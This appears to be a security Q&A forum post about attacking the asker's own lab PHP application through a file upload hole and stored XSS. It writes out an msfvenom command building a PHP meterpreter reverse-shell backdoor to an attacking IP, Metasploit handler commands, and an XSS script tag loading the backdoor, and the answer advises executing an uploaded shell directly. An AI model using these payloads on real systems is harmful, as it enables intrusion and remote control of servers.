Stored XSS + PHP Backdoor + File upload vulnerability

Question

I built this web application(Used PHP 5 + MySQL) where I could take advantage of file upload vulnerability and XSS.

My route of attack is:

1. Upload a PHP backdoor which I built with msfvenom
2. Go to another page that has an XSS vulnerability
3. Have <"script src="ATTACKING IP:PORT443/phpbackdoor.php"></script> as an input
4. Turn on the listener / meterpreter

These 4 steps seem to be working but, once meterpreter session is created, I couldn't even spawn a shell or do any commands (like sysinfo, for example); I'm using the latest Kali update.

My target box is Ubuntu 16.04 and the web application is running on LAMPP or just localhost.

My NAT is turned on, but both ports 443 is opened on both virtual machines.

Here are what I used for building payloads and commands in order:

msfvenom -p php/meterpreter_reverse_tcp LHOST=attacking ip LPORT=443 -f raw > shell.php
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost attacking ip
set lport 443
exploit

Something is breaking the meterpreter and I couldn't point out what it is.

Answer 1

Because when you do this <"script src="ATTACKING IP:PORT443/phpbackdoor.php"></script> The file isn't executed server side at all instead it is executed by the victim browser and of course it doesn't work its a PHP file.The browser looks for javascript in that,for example try and PHP echo "VALID JAVASCRIPT" and it will get executed by the browser.You cant exploit like that.Instead if you can upload a PHP shell you would rather exploit it via simply going to the link https://example.com/shell.php or some other vulnerability like PHP file inclusion.

In short a shell uploaded on the server side wont get executed this way.